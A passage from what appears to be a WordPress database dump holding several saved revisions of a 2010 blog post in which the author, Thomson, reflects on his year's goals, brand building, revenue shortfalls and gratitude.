are more meaningful for them and for me. The White Hot Center is a big part of my vision and transition.\r\n\r\nAt that time, I made a statement to myself, “in order for me to feel satisfied with my progress towards achieving my new goals, these (list of things) will have to be present in my life within three years time”. That outlined my forward thinking vision, and became my map for accomplishing what I wanted. So I made my list, printed it out, and hung it on the wall next my computer for me to see every day. 2010 is the year I take account for what has materialized from that list. Here’s what I have accomplished this year (in no order of importance):\r\n\r\n<em><span style="color: #ff6600;"><strong>I’ve successfully reinvented myself and elevated my brand positioning. I am attracting more resources, the right partners, a bigger network of connections, and higher value clients that enable me to have a real impact on their business and life success. My early ideas have taken wonderful form in the world. I have completed the foundation necessary for me to build on going forward.</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>I’ve established my presence as a credible writer, contributor, and thought leader in the areas of personal development, lifestyle design, value creation, creativity, innovation, and demand generation for global organizations and early-stage entrepreneurs alike. My tribe is growing every day.!</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>I’ve removed most of the complexity around the systems I use to get things done in running my business. I do things in an easy and relaxed way.</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>I continue to live and work in a beautiful, nurturing place. In the Ojai orange grove–Amen!</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>I am in excellent health, at the right weight, exercising regularly. I feel awesome!</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>I get up in the morning and go to bed at night, and in between I do whatever I choose. I’ve blurred the line between work and play. I feel alive again and my passion for doing my life’s great work is a burning fire within me.</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>All of my important relationships with the people I love are growing in depth, richness and loving acceptance each and every day. </strong></span></em>\r\n\r\n<em> </em>\r\n\r\nI am delighted to say that I am quite pleased with my progress thus far. I am moving with greater momentum in the direction of my vision for a bigger better future. I have a real sense that what I desire is here now. Yet I still have work to do. Here’s what didn’t get done this year:\r\n\r\n<em><span style="color: #ff6600;"><strong>I didn’t reach my revenue goals. Although I am being compensated at ever higher levels for the value I provide, I still didn’t meet what I believed were “achievable” numbers. However, I am very happy and grateful for the revenue I did receive!  I have to remind myself I am still at the early stages of playing a bigger game at a higher level. Patience and persistence is my mantra. Plus, the pursuit of money isn’t a driving force in my life.  I don’t think of money as the primary measurement for the value I create in the world, but I do believe the more money I attract, the more good I can do in the world. Money is important.</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>My direct business development and lead generation activities continue to be sporadic and are not running smoothly in the background of all my other activities serving my current clients.  Although I consistently use all the social media tools available to build awareness to my scene, and trust in my expertise, I believe getting out in front of more people would be a good thing for me! I want to serve and be of value to more and more people. Speaking to groups will become a bigger priority in my impact and influence building tool kit.</strong></span></em>\r\n\r\n<strong>Humility and gratitude for everything in the narrative of my life.</strong>\r\nThe year-end is a time for me to reflect on being truly grateful for all the blessings in my life. Challenges are life’s great blessings.  I couldn’t really grow and expand without them. Through it all, I am reminded with humility, that it is a gift simply to be able to play the game of life as a free, independent, creative entrepreneur creating and sharing my gifts through the expanding quality of my presence.\r\n\r\nI am continuing to learn, grow and expand. I’m always playing on the edges of my comfort zone. Best of all, I allow myself to marvel at how far I can take a formless idea and make it come alive in the world. I am filled with awe, hope and passion to continue my quest to inspire, contribute, and make a bigger difference for my fellow entrepreneurs.\r\n\r\nI wish all my loyal readers, and newcomers to the WHC blog, a joyous Holiday Season and a Prosperous New Year! Thank you all for your support of my work here! I’m looking forward to helping you to connect and believe in your big ideas for your own growth and expansion.\r\n\r\nTo your inspired success,\r\nThomson', 'Reflections on the year 2010.', 0, '', 'inherit', 'open', 'open', '', '1330-revision-9', '', '', '2010-12-17 14:53:36', '2010-12-17 21:53:36', '', 1330, 'http://www.whitehotcenter.com/2010/12/17/1330-revision-9/', 0, 'revision', '', 0),
(1341, 2, '2010-12-17 15:07:26', '2010-12-17 22:07:26', '<img class="alignnone size-full wp-image-1331" title="WHCchristmascard-LZ" src="http://whc.fbdev.org/wp-content/uploads/2010/12/WHCchristmascard-LZ.gif" alt="" width="500" height="250" />\n<h2>This time of year things slow down to a pace where I’m able to think about my progress towards achieving my important goals, and creating new ideas on what I want to accomplish next.  I’m fairly confident many of you are doing the same right thing right about now.</h2>\nAt the beginning of the year, I wrote an entry in my journal where I felt 2010 would be the year that “it’ll all come together” for me. I began 2010 with a goal of dedicating more of my focus and creative energies to building the White Hot Center brand, while at the same time developing more corporate clients in my brand strategy consulting and design practice. Sometimes these two things are in conflict with each other. Now at year’s end, I find myself reflecting on my progress aligning these two interests to reach the goals I’ve set for myself.\n\nI don’t ever make resolutions at the New Year. But I do believe the end of something and the beginning of what’s next is a perfectly fine time to step back and look at what’s been going on. I ask myself lots of “why” questions. Beginning with “why am I doing this?” Life success is a life’s work in progress. Along the journey, I find it helpful to take a compass heading. Asking myself some important questions, and listening to my answers is how I roll.\n\n<strong>This year “it” all came together!</strong>\nThree years ago, at 54, I made a decision to take my life in a completely new direction. I called this transition my “do-over”. I yearned for greater challenges intellectually, spiritually and professionally, and I wanted my work to serve people at higher levels of value, and in ways that are more meaningful for them and for me. The White Hot Center is a big part of my vision and transition.\n\nAt that time, I made a statement to myself, “in order for me to feel satisfied with my progress towards achieving my new goals, these (list of things) will have to be present in my life within three years time”. That outlined my forward thinking vision, and became my map for accomplishing what I wanted. So I made my list, printed it out, and hung it on the wall next my computer for me to see every day. 2010 is the year I take account for what has materialized from that list. Here’s what I have accomplished this year (in no order of importance):\n\n<em><span style="color: #ff6600;"><strong>I’ve successfully reinvented myself and elevated my brand positioning. I am attracting more resources, the right partners, a bigger network of connections, and higher value clients that enable me to have a real impact on their business and life success. My early ideas have taken wonderful form in the world. I have completed the foundation necessary for me to build on going forward.</strong></span></em>\n\n<em><span style="color: #ff6600;"><strong>I’ve established my presence as a credible writer, contributor, and thought leader in the areas of personal development, lifestyle design, value creation, creativity, innovation, and demand generation for global organizations and early-stage entrepreneurs alike. My tribe is growing every day.!</strong></span></em>\n\n<em><span style="color: #ff6600;"><strong>I’ve removed most of the complexity around the systems I use to get things done in running my business. I do things in an easy and relaxed way.</strong></span></em>\n\n<em><span style="color: #ff6600;"><strong>I continue to live and work in a beautiful, nurturing place. In the Ojai orange grove–Amen!</strong></span></em>\n\n<em><span style="color: #ff6600;"><strong>I am in excellent health, at the right weight, exercising regularly. I feel awesome!</strong></span></em>\n\n<em><span style="color: #ff6600;"><strong>I get up in the morning and go to bed at night, and in between I do whatever I choose. I’ve blurred the line between work and play. I feel alive again and my passion for doing my life’s great work is a burning fire within me.</strong></span></em>\n\n<em><span style="color: #ff6600;"><strong>All of my important relationships with the people I love are growing in depth, richness and loving acceptance each and every day. </strong></span></em>\n\n<em> </em>\n\nI am delighted to say that I am quite pleased with my progress thus far. I am moving with greater momentum in the direction of my vision for a bigger better future. I have a real sense that what I desire is here now. Yet I still have work to do. Here’s what didn’t get done this year:\n\n<em><span style="color: #ff6600;"><strong>I didn’t reach my revenue goals. Although I am being compensated at ever higher levels for the value I provide, I still didn’t meet what I believed were “achievable” numbers. However, I am very happy and grateful for the revenue I did receive!  I have to remind myself I am still at the early stages of playing a bigger game at a higher level. Patience and persistence is my mantra. Plus, the pursuit of money isn’t a driving force in my life.  I don’t think of money as the primary measurement for the value I create in the world, but I do believe the more money I attract, the more good I can do in the world. Money is important.</strong></span></em>\n\n<em><span style="color: #ff6600;"><strong>My direct business development and lead generation activities continue to be sporadic and are not running smoothly in the background of all my other activities serving my current clients.  Although I consistently experiment with social media tools to build awareness to my scene, and trust in my expertise, I believe getting out in front of more people would be a good thing for me! I want to serve and be of greater value to more and more people. Speaking to groups will become a bigger priority in my impact and influence building tool kit.</strong></span></em>\n\n<strong>Humility and gratitude for everything in the narrative of my life.</strong>\nThe year-end is a time for me to reflect on being truly grateful for all the blessings in my life. Challenges are life’s great blessings.  I couldn’t really grow and expand without them. Through it all, I am reminded with humility, that it is a gift simply to be able to play the game of life as a free, independent, creative entrepreneur creating and sharing my gifts through the expanding quality of my presence.\n\nI continue to learn, grow and expand. I’m always playing on the edges of my comfort zone. Best of all, I allow myself to marvel at how far I can take a formless idea and make it come alive in the world. I am filled with awe, hope and passion to continue my quest to inspire, contribute, and make a bigger difference for the success of my fellow entrepreneurs.\n\nI wish all my loyal readers, and newcomers to the WHC blog, a joyous Holiday Season and a Prosperous New Year! Thank you all for your support of my work here! I’m looking forward to helping you connect and believe in your big ideas for your own growth and expansion in the coming new year.\n\nTo your inspired success,\nThomson', 'Reflections on the year 2010.', 0, '', 'inherit', 'open', 'open', '', '1330-revision-10', '', '', '2010-12-17 15:07:26', '2010-12-17 22:07:26', '', 1330, 'http://www.whitehotcenter.com/2010/12/17/1330-revision-10/', 0, 'revision', '', 0),
(1343, 2, '2010-12-17 15:08:28', '2010-12-17 22:08:28', '<img class="alignnone size-full wp-image-1331" title="WHCchristmascard-LZ" src="http://whc.fbdev.org/wp-content/uploads/2010/12/WHCchristmascard-LZ.gif" alt="" width="500" height="250" />\n<h2>This time of year things slow down to a pace where I’m able to think about my progress towards achieving my important goals, and creating new ideas on what I want to accomplish next.  I’m fairly confident many of you are doing the same thing right about now.</h2>\nAt the beginning of the year, I wrote an entry in my journal where I felt 2010 would be the year that “it’ll all come together” for me. I began 2010 with a goal of dedicating more of my focus and creative energies to building the White Hot Center brand, while at the same time developing more corporate clients in my brand strategy consulting and design practice. Sometimes these two things are in conflict with each other. Now at year’s end, I find myself reflecting on my progress aligning these two interests to reach the goals I’ve set for myself.\n\nI don’t ever make resolutions at the New Year. But I do believe the end of something and the beginning of what’s next is a perfectly fine time to step back and look at what’s been going on. I ask myself lots of “why” questions. Beginning with “why am I doing this?” Life success is a life’s work in progress. Along the journey, I find it helpful to take a compass heading. Asking myself some important questions, and listening to my answers is how I roll.\n\n<strong>This year “it” all came together!</strong>\nThree years ago, at 54, I made a decision to take my life in a completely new direction. I called this transition my “do-over”. I yearned for greater challenges intellectually, spiritually and professionally, and I wanted my work to serve people at higher levels of value, and in ways that are more meaningful for them and for me. The White Hot Center is a big part of my vision and transition.\n\nAt that time, I made a statement to myself, “in order for me to feel satisfied with my progress towards achieving my new goals, these (list of things) will have to be present in my life within three years time”. That outlined my forward thinking vision, and became my map for accomplishing what I wanted. So I made my list, printed it out, and hung it on the wall next my computer for me to see every day. 2010 is the year I take account for what has materialized from that list. Here’s what I have accomplished this year (in no order of importance):\n\n<em><span style="color: #ff6600;"><strong>I’ve successfully reinvented myself and elevated my brand positioning. I am attracting more resources, the right partners, a bigger network of connections, and higher value clients that enable me to have a real impact on their business and life success. My early ideas have taken wonderful form in the world. I have completed the foundation necessary for me to build on going forward.</strong></span></em>\n\n<em><span style="color: #ff6600;"><strong>I’ve established my presence as a credible writer, contributor, and thought leader in the areas of personal development, lifestyle design, value creation, creativity, innovation, and demand generation for global organizations and early-stage entrepreneurs alike. My tribe is growing every day.!</strong></span></em>\n\n<em><span style="color: #ff6600;"><strong>I’ve removed most of the complexity around the systems I use to get things done in running my business. I do things in an easy and relaxed way.</strong></span></em>\n\n<em><span style="color: #ff6600;"><strong>I continue to live and work in a beautiful, nurturing place. In the Ojai orange grove–Amen!</strong></span></em>\n\n<em><span style="color: #ff6600;"><strong>I am in excellent health, at the right weight, exercising regularly. I feel awesome!</strong></span></em>\n\n<em><span style="color: #ff6600;"><strong>I get up in the morning and go to bed at night, and in between I do whatever I choose. I’ve blurred the line between work and play. I feel alive again and my passion for doing my life’s great work is a burning fire within me.</strong></span></em>\n\n<em><span style="color: #ff6600;"><strong>All of my important relationships with the people I love are growing in depth, richness and loving acceptance each and every day. </strong></span></em>\n\n<em> </em>\n\nI am delighted to say that I am quite pleased with my progress thus far. I am moving with greater momentum in the direction of my vision for a bigger better future. I have a real sense that what I desire is here now. Yet I still have work to do. Here’s what didn’t get done this year:\n\n<em><span style="color: #ff6600;"><strong>I didn’t reach my revenue goals. Although I am being compensated at ever higher levels for the value I provide, I still didn’t meet what I believed were “achievable” numbers. However, I am very happy and grateful for the revenue I did receive!  I have to remind myself I am still at the early stages of playing a bigger game at a higher level. Patience and persistence is my mantra. Plus, the pursuit of money isn’t a driving force in my life.  I don’t think of money as the primary measurement for the value I create in the world, but I do believe the more money I attract, the more good I can do in the world. Money is important.</strong></span></em>\n\n<em><span style="color: #ff6600;"><strong>My direct business development and lead generation activities continue to be sporadic and are not running smoothly in the background of all my other activities serving my current clients.  Although I consistently experiment with social media tools to build awareness to my scene, and trust in my expertise, I believe getting out in front of more people would be a good thing for me! I want to serve and be of greater value to more and more people. Speaking to groups will become a bigger priority in my impact and influence building tool kit.</strong></span></em>\n\n<strong>Humility and gratitude for everything in the narrative of my life.</strong>\nThe year-end is a time for me to reflect on being truly grateful for all the blessings in my life. Challenges are life’s great blessings.  I couldn’t really grow and expand without them. Through it all, I am reminded with humility, that it is a gift simply to be able to play the game of life as a free, independent, creative entrepreneur creating and sharing my gifts through the expanding quality of my presence.\n\nI continue to learn, grow and expand. I’m always playing on the edges of my comfort zone. Best of all, I allow myself to marvel at how far I can take a formless idea and make it come alive in the world. I am filled with awe, hope and passion to continue my quest to inspire, contribute, and make a bigger difference for the success of my fellow entrepreneurs.\n\nI wish all my loyal readers, and newcomers to the WHC blog, a joyous Holiday Season and a Prosperous New Year! Thank you all for your support of my work here! I’m looking forward to helping you connect and believe in your big ideas for your own growth and expansion in the coming new year.\n\nTo your inspired success,\nThomson', 'Reflections on the year 2010.', 0, '', 'inherit', 'open', 'open', '', '1330-revision-12', '', '', '2010-12-17 15:08:28', '2010-12-17 22:08:28', '', 1330, 'http://www.whitehotcenter.com/2010/12/17/1330-revision-12/', 0, 'revision', '', 0),
(1342, 2, '2010-12-17 15:07:43', '2010-12-17 22:07:43', '<img class="alignnone size-full wp-image-1331" title="WHCchristmascard-LZ" src="http://whc.fbdev.org/wp-content/uploads/2010/12/WHCchristmascard-LZ.gif" alt="" width="500" height="250" />\r\n<h2>This time of year things slow down to a pace where I’m able to think about my progress towards achieving my important goals, and creating new ideas on what I want to accomplish next.  I’m fairly confident many of you are doing the same right thing right about now.</h2>\r\nAt the beginning of the year, I wrote an entry in my journal where I felt 2010 would be the year that “it’ll all come together” for me. I began 2010 with a goal of dedicating more of my focus and creative energies to building the White Hot Center brand, while at the same time developing more corporate clients in my brand strategy consulting and design practice. Sometimes these two things are in conflict with each other. Now at year’s end, I find myself reflecting on my progress aligning these two interests to reach the goals I’ve set for myself.\r\n\r\nI don’t ever make resolutions at the New Year. But I do believe the end of something and the beginning of what’s next is a perfectly fine time to step back and look at what’s been going on. I ask myself lots of “why” questions. Beginning with “why am I doing this?” Life success is a life’s work in progress. Along the journey, I find it helpful to take a compass heading. Asking myself some important questions, and listening to my answers is how I roll.\r\n\r\n<strong>This year “it” all came together!</strong>\r\nThree years ago, at 54, I made a decision to take my life in a completely new direction. I called this transition my “do-over”. I yearned for greater challenges intellectually, spiritually and professionally, and I wanted my work to serve people at higher levels of value, and in ways that are more meaningful for them and for me. The White Hot Center is a big part of my vision and transition.\r\n\r\nAt that time, I made a statement to myself, “in order for me to feel satisfied with my progress towards achieving my new goals, these (list of things) will have to be present in my life within three years time”. That outlined my forward thinking vision, and became my map for accomplishing what I wanted. So I made my list, printed it out, and hung it on the wall next my computer for me to see every day. 2010 is the year I take account for what has materialized from that list. Here’s what I have accomplished this year (in no order of importance):\r\n\r\n<em><span style="color: #ff6600;"><strong>I’ve successfully reinvented myself and elevated my brand positioning. I am attracting more resources, the right partners, a bigger network of connections, and higher value clients that enable me to have a real impact on their business and life success. My early ideas have taken wonderful form in the world. I have completed the foundation necessary for me to build on going forward.</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>I’ve established my presence as a credible writer, contributor, and thought leader in the areas of personal development, lifestyle design, value creation, creativity, innovation, and demand generation for global organizations and early-stage entrepreneurs alike. My tribe is growing every day.!</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>I’ve removed most of the complexity around the systems I use to get things done in running my business. I do things in an easy and relaxed way.</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>I continue to live and work in a beautiful, nurturing place. In the Ojai orange grove–Amen!</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>I am in excellent health, at the right weight, exercising regularly. I feel awesome!</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>I get up in the morning and go to bed at night, and in between I do whatever I choose. I’ve blurred the line between work and play. I feel alive again and my passion for doing my life’s great work is a burning fire within me.</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>All of my important relationships with the people I love are growing in depth, richness and loving acceptance each and every day. </strong></span></em>\r\n\r\n<em> </em>\r\n\r\nI am delighted to say that I am quite pleased with my progress thus far. I am moving with greater momentum in the direction of my vision for a bigger better future. I have a real sense that what I desire is here now. Yet I still have work to do. Here’s what didn’t get done this year:\r\n\r\n<em><span style="color: #ff6600;"><strong>I didn’t reach my revenue goals. Although I am being compensated at ever higher levels for the value I provide, I still didn’t meet what I believed were “achievable” numbers. However, I am very happy and grateful for the revenue I did receive!  I have to remind myself I am still at the early stages of playing a bigger game at a higher level. Patience and persistence is my mantra. Plus, the pursuit of money isn’t a driving force in my life.  I don’t think of money as the primary measurement for the value I create in the world, but I do believe the more money I attract, the more good I can do in the world. Money is important.</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>My direct business development and lead generation activities continue to be sporadic and are not running smoothly in the background of all my other activities serving my current clients.  Although I consistently experiment with social media tools to build awareness to my scene, and trust in my expertise, I believe getting out in front of more people would be a good thing for me! I want to serve and be of greater value to more and more people. Speaking to groups will become a bigger priority in my impact and influence building tool kit.</strong></span></em>\r\n\r\n<strong>Humility and gratitude for everything in the narrative of my life.</strong>\r\nThe year-end is a time for me to reflect on being truly grateful for all the blessings in my life. Challenges are life’s great blessings.  I couldn’t really grow and expand without them. Through it all, I am reminded with humility, that it is a gift simply to be able to play the game of life as a free, independent, creative entrepreneur creating and sharing my gifts through the expanding quality of my presence.\r\n\r\nI continue to learn, grow and expand. I’m always playing on the edges of my comfort zone. Best of all, I allow myself to marvel at how far I can take a formless idea and make it come alive in the world. I am filled with awe, hope and passion to continue my quest to inspire, contribute, and make a bigger difference for the success of my fellow entrepreneurs.\r\n\r\nI wish all my loyal readers, and newcomers to the WHC blog, a joyous Holiday Season and a Prosperous New Year! Thank you all for your support of my work here! I’m looking forward to helping you connect and believe in your big ideas for your own growth and expansion in the coming new year.\r\n\r\nTo your inspired success,\r\nThomson', 'Reflections on the year 2010.', 0, '', 'inherit', 'open', 'open', '', '1330-revision-11', '', '', '2010-12-17 15:07:43', '2010-12-17 22:07:43', '', 1330, 'http://www.whitehotcenter.com/2010/12/17/1330-revision-11/', 0, 'revision', '', 0),
(1344, 2, '2010-12-17 15:08:36', '2010-12-17 22:08:36', '<img class="alignnone size-full wp-image-1331" title="WHCchristmascard-LZ" src="http://whc.fbdev.org/wp-content/uploads/2010/12/WHCchristmascard-LZ.gif" alt="" width="500" height="250" />\r\n<h2>This time of year things slow down to a pace where I’m able to think about my progress towards achieving my important goals, and creating new ideas on what I want to accomplish next.  I’m fairly confident many of you are doing the same thing right about now.</h2>\r\nAt the beginning of the year, I wrote an entry in my journal where I felt 2010 would be the year that “it’ll all come together” for me. I began 2010 with a goal of dedicating more of my focus and creative energies to building the White Hot Center brand, while at the same time developing more corporate clients in my brand strategy consulting and design practice. Sometimes these two things are in conflict with each other. Now at year’s end, I find myself reflecting on my progress aligning these two interests to reach the goals I’ve set for myself.\r\n\r\nI don’t ever make resolutions at the New Year. But I do believe the end of something and the beginning of what’s next is a perfectly fine time to step back and look at what’s been going on. I ask myself lots of “why” questions. Beginning with “why am I doing this?” Life success is a life’s work in progress. Along the journey, I find it helpful to take a compass heading. Asking myself some important questions, and listening to my answers is how I roll.\r\n\r\n<strong>This year “it” all came together!</strong>\r\nThree years ago, at 54, I made a decision to take my life in a completely new direction. I called this transition my “do-over”. I yearned for greater challenges intellectually, spiritually and professionally, and I wanted my work to serve people at higher levels of value, and in ways that are more meaningful for them and for me. The White Hot Center is a big part of my vision and transition.\r\n\r\nAt that time, I made a statement to myself, “in order for me to feel satisfied with my progress towards achieving my new goals, these (list of things) will have to be present in my life within three years time”. That outlined my forward thinking vision, and became my map for accomplishing what I wanted. So I made my list, printed it out, and hung it on the wall next my computer for me to see every day. 2010 is the year I take account for what has materialized from that list. Here’s what I have accomplished this year (in no order of importance):\r\n\r\n<em><span style="color: #ff6600;"><strong>I’ve successfully reinvented myself and elevated my brand positioning. I am attracting more resources, the right partners, a bigger network of connections, and higher value clients that enable me to have a real impact on their business and life success. My early ideas have taken wonderful form in the world. I have completed the foundation necessary for me to build on going forward.</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>I’ve established my presence as a credible writer, contributor, and thought leader in the areas of personal development, lifestyle design, value creation, creativity, innovation, and demand generation for global organizations and early-stage entrepreneurs alike. My tribe is growing every day.!</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>I’ve removed most of the complexity around the systems I use to get things done in running my business. I do things in an easy and relaxed way.</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>I continue to live and work in a beautiful, nurturing place. In the Ojai orange grove–Amen!</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>I am in excellent health, at the right weight, exercising regularly. I feel awesome!</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>I get up in the morning and go to bed at night, and in between I do whatever I choose. I’ve blurred the line between work and play. I feel alive again and my passion for doing my life’s great work is a burning fire within me.</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>All of my important relationships with the people I love are growing in depth, richness and loving acceptance each and every day. </strong></span></em>\r\n\r\n<em> </em>\r\n\r\nI am delighted to say that I am quite pleased with my progress thus far. I am moving with greater momentum in the direction of my vision for a bigger better future. I have a real sense that what I desire is here now. Yet I still have work to do. Here’s what didn’t get done this year:\r\n\r\n<em><span style="color: #ff6600;"><strong>I didn’t reach my revenue goals. Although I am being compensated at ever higher levels for the value I provide, I still didn’t meet what I believed were “achievable” numbers. However, I am very happy and grateful for the revenue I did receive!  I have to remind myself I am still at the early stages of playing a bigger game at a higher level. Patience and persistence is my mantra. Plus, the pursuit of money isn’t a driving force in my life.  I don’t think of money as the primary measurement for the value I create in the world, but I do believe the more money I attract, the more good I can do in the world. Money is important.</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>My direct business development and lead generation activities continue to be sporadic and are not running smoothly in the background of all my other activities serving my current clients.  Although I consistently experiment with social media tools to build awareness to my scene, and trust in my expertise, I believe getting out in front of more people would be a good thing for me! I want to serve and be of greater value to more and more people. Speaking to groups will become a bigger priority in my impact and influence building tool kit.</strong></span></em>\r\n\r\n<strong>Humility and gratitude for everything in the narrative of my life.</strong>\r\nThe year-end is a time for me to reflect on being truly grateful for all the blessings in my life. Challenges are life’s great blessings.  I couldn’t really grow and expand without them. Through it all, I am reminded with humility, that it is a gift simply to be able to play the game of life as a free, independent, creative entrepreneur creating and sharing my gifts through the expanding quality of my presence.\r\n\r\nI continue to learn, grow and expand. I’m always playing on the edges of my comfort zone. Best of all, I allow myself to marvel at how far I can take a formless idea and make it come alive in the world. I am filled with awe, hope and passion to continue my quest to inspire, contribute, and make a bigger difference for the success of my fellow entrepreneurs.\r\n\r\nI wish all my loyal readers, and newcomers to the WHC blog, a joyous Holiday Season and a Prosperous New Year! Thank you all for your support of my work here! I’m looking forward to helping you connect and believe in your big ideas for your own growth and expansion in the coming new year.\r\n\r\nTo your inspired success,\r\nThomson', 'Reflections on the year 2010.', 0, '', 'inherit', 'open', 'open', '', '1330-revision-13', '', '', '2010-12-17 15:08:36', '2010-12-17 22:08:36', '', 1330, 'http://www.whitehotcenter.com/2010/12/17/1330-revision-13/', 0, 'revision', '', 0);
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(1345, 2, '2010-12-17 15:11:38', '2010-12-17 22:11:38', '<img class="alignnone size-full wp-image-1331" title="WHCchristmascard-LZ" src="http://whc.fbdev.org/wp-content/uploads/2010/12/WHCchristmascard-LZ.gif" alt="" width="500" height="250" />\r\n<h2>This time of year things slow down to a pace where I’m able to think about my progress towards achieving my important goals, and creating new ideas on what I want to accomplish next.  I’m fairly confident many of you are doing the same thing right about now.</h2>\r\nAt the beginning of the year, I wrote an entry in my journal where I felt 2010 would be the year that “it’ll all come together” for me. I began 2010 with a goal of dedicating more of my focus and creative energies to building the White Hot Center brand, while at the same time developing more corporate clients in my brand strategy consulting and design practice. Sometimes these two things are in conflict with each other. Now at year’s end, I find myself reflecting on my progress aligning these two interests to reach the goals I’ve set for myself.\r\n\r\nI don’t ever make resolutions at the New Year. But I do believe the end of something and the beginning of what’s next is a perfectly fine time to step back and look at what’s been going on. I ask myself lots of “why” questions. Beginning with “why am I doing this?” Life success is a life’s work in progress. Along the journey, I find it helpful to take a compass heading. Asking myself some important questions, and listening to my answers is how I roll.\r\n\r\n<strong>This year “it” all came together!</strong>\r\nThree years ago, at 54, I made a decision to take my life in a completely new direction. I called this transition my “do-over”. I yearned for greater challenges intellectually, spiritually and professionally, and I wanted my work to serve people at higher levels of value, and in ways that are more meaningful for them and for me. The White Hot Center is a big part of my vision and transition.\r\n\r\nAt that time, I made a statement to myself, “in order for me to feel satisfied with my progress towards achieving my new goals, these (list of things) will have to be present in my life within three years time”. That outlined my forward thinking vision, and became my map for accomplishing what I wanted. So I made my list, printed it out, and hung it on the wall next my computer for me to see every day. 2010 is the year I take account for what has materialized from that list. Here’s what I have accomplished this year (in no order of importance):\r\n\r\n<em><span style="color: #ff6600;"><strong>I’ve successfully reinvented myself and elevated my brand positioning. I am attracting more resources, the right partners, a bigger network of connections, and higher value clients that enable me to have a real impact on their business and life success. My early ideas have taken wonderful form in the world. I have completed the foundation necessary for me to build on going forward.</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>I’ve established my presence as a credible writer, contributor, and thought leader in the areas of personal development, lifestyle design, value creation, creativity, innovation, and demand generation for global organizations and early-stage entrepreneurs alike. My tribe is growing every day!</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>I’ve removed most of the complexity around the systems I use to get things done in running my business. I do things in an easy and relaxed way.</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>I continue to live and work in a beautiful, nurturing place. In the Ojai orange grove–Amen!</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>I am in excellent health, at the right weight, exercising regularly. I feel awesome!</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>I get up in the morning and go to bed at night, and in between I do whatever I choose. I’ve blurred the line between work and play. I feel alive again and my passion for doing my life’s great work is a burning fire within me.</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>All of my important relationships with the people I love are growing in depth, richness and loving acceptance each and every day. </strong></span></em>\r\n\r\n<em> </em>\r\n\r\nI am delighted to say that I am quite pleased with my progress thus far. I am moving with greater momentum in the direction of my vision for a bigger better future. I have a real sense that what I desire is here now. Yet I still have work to do. Here’s what didn’t get done this year:\r\n\r\n<em><span style="color: #ff6600;"><strong>I didn’t reach my revenue goals. Although I am being compensated at ever higher levels for the value I provide, I still didn’t meet what I believed were “achievable” numbers. However, I am very happy and grateful for the revenue I did receive!  I have to remind myself I am still at the early stages of playing a bigger game at a higher level. Patience and persistence is my mantra. Plus, the pursuit of money isn’t a driving force in my life.  I don’t think of money as the primary measurement for the value I create in the world, but I do believe the more money I attract, the more good I can do in the world. Money is important.</strong></span></em>\r\n\r\n<em><span style="color: #ff6600;"><strong>My direct business development and lead generation activities continue to be sporadic and are not running smoothly in the background of all my other activities serving my current clients.  Although I consistently experiment with social media tools to build awareness to my scene, and trust in my expertise, I believe getting out in front of more people would be a good thing for me! I want to serve and be of greater value to more and more people. Speaking to groups will become a bigger priority in my impact and influence building tool kit.</strong></span></em>\r\n\r\n<strong>Humility and gratitude for everything in the narrative of my life.</strong>\r\nThe year-end is a time for me to reflect on being truly grateful for all the blessings in my life. Challenges are life’s great blessings.  I couldn’t really grow and expand without them. Through it all, I am reminded with humility, that it is a gift simply to be able to play the game of life as a free, independent, creative entrepreneur creating and sharing my gifts through the expanding quality of my presence.\r\n\r\nI continue to learn, grow and expand. I’m always playing on the edges of my comfort zone. Best of all, I allow myself to marvel at how far I can take a formless idea and make it come alive in the world. I am filled with awe, hope and passion to continue my quest to inspire, contribute, and make a bigger difference for the success of my fellow entrepreneurs.\r\n\r\nI wish all my loyal readers, and newcomers to the WHC blog, a joyous Holiday Season and a Prosperous New Year! Thank you all for your support of my work here! I’m looking forward to helping you connect and believe in your big ideas for your own growth and expansion in the coming new year.\r\n\r\nTo your inspired success,\r\nThomson', 'Reflections on the year 2010.', 0, '', 'inherit', 'open', 'open', '', '1330-revision-14', '', '', '2010-12-17 15:11:38', '2010-12-17 22:11:38', '', 1330, 'http://www.whitehotcenter.com/2010/12/17/1330-revision-14/', 0, 'revision', '', 0),
